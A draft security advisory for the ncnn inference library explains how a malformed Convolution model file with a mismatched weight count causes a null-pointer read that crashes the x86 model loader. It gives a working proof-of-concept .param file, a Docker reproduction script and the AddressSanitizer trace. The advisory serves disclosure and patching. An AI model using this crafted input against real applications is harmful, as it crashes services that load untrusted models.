All advisories
Draft

Malformed Convolution Model Crashes x86 Loader

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Malformed Convolution Model Crashes x86 Loader

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_im2col_gemm.h:282 in convolution_im2col_pack_A_tile
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5b875b8059c7 bp 0x7ffc2610ee40 sp 0x7ffc2610af40 T0)

Summary

A Convolution layer whose declared weight count is not kernel_w * kernel_h * num_output makes ncnn reshape the weight tensor to a shape it cannot hold. Mat::reshape signals the mismatch by returning an empty Mat, but the x86 GEMM kernel transform never checks it and reads through the resulting null data pointer. The crash happens inside ncnn::Net::load_model(), so ncnnoptimize — or any application loading the attacker's .param/.bin pair — dies before inference starts.

Detail

The untrusted fields are Convolution parameter keys 0 (num_output), 1/11 (kernel size) and 6 (weight_data_size). Convolution::load_param accepts any combination of them and load_model only requires that weight_data_size floats exist in the .bin; nothing requires weight_data_size to be divisible by kernel_w * kernel_h * num_output. Convolution_x86::create_pipeline recovers the input-channel count by truncating integer division at src/layer/x86/convolution_x86.cpp:302, and a 1x1 kernel then takes the SGEMM path unconditionally (|| (kernel_w == 1 && kernel_h == 1) at line 470), bypassing the heuristics that would otherwise apply.

// src/layer/x86/convolution_im2col_gemm.h:5533
    Mat A_data;
    if (maxk == 1)
    {
        A_data = kernel.reshape(maxk * inch, outch);
    }

// src/layer/x86/convolution_im2col_gemm.h:4
static void convolution_im2col_pack_A_tile(const Mat& A, Mat& AT, int i, int max_ii, int k, int max_kk)
{
    // A = (pa, maxk, inch/pa), outch
    const int A_hstep = A.w;

    float* pp = AT;

// src/layer/x86/convolution_im2col_gemm.h:247
    for (; ii + 1 < max_ii; ii += 2)
    {
        const float* p0 = (const float*)A + (i + ii) * A_hstep + k;
        const float* p1 = (const float*)A + (i + ii + 1) * A_hstep + k;

The PoC declares 0=2 1=1 2=1 3=1 4=0 5=0 6=3 — two output channels, a 1x1 kernel and three float32 weights. num_input is computed as 3 / 1 / 2 == 1, so maxk == 1 and line 5536 calls kernel.reshape(1, 2). Mat::reshape begins with if (w * h * d * c != _w * _h) return Mat(); (src/mat.cpp:156), and the source holds three elements against a requested two, so it returns a default-constructed Mat. A_data is therefore empty, with data == 0 and w == 0, and no .empty() test follows.

convolution_im2col_gemm_transform_kernel still calls convolution_im2col_pack_A_tile with M = outch = 2 and K = inch * maxk = 1. Inside the helper A_hstep is 0 and (const float*)A is null. max_ii is 2, so control reaches the two-row loop at line 247 where p0 and p1 are both null; max_kk is 1, so the scalar tail at line 282 executes pp[0] = p0[0] and reads four bytes from address 0x0. Any weight count that is not an exact multiple of maxk * num_output reaches the same empty-Mat state.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-convolution-model-crashes-x86-loader && cd ncnn-poc-malformed-convolution-model-crashes-x86-loader

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
1 1
Convolution conv 0 1 out 0=2 1=1 6=3
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5cb5d84dd9c7 bp 0x7ffebb985cd0 sp 0x7ffebb981e00 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x5cb5d84dd9c7 in convolution_im2col_pack_A_tile /ncnn/src/layer/x86/convolution_im2col_gemm.h:282
    #1 0x5cb5d8574105 in convolution_im2col_gemm_transform_kernel /ncnn/src/layer/x86/convolution_im2col_gemm.h:5578
    #2 0x5cb5d8c23734 in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:472
    #3 0x5cb5d7e42c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #4 0x5cb5d7d56c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
    #5 0x72f7355221c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x72f73552228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5cb5d7cd6624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/x86/convolution_im2col_gemm.h:282 in convolution_im2col_pack_A_tile
==1==ABORTING

Credit

Zheng Yu @ DepthFirst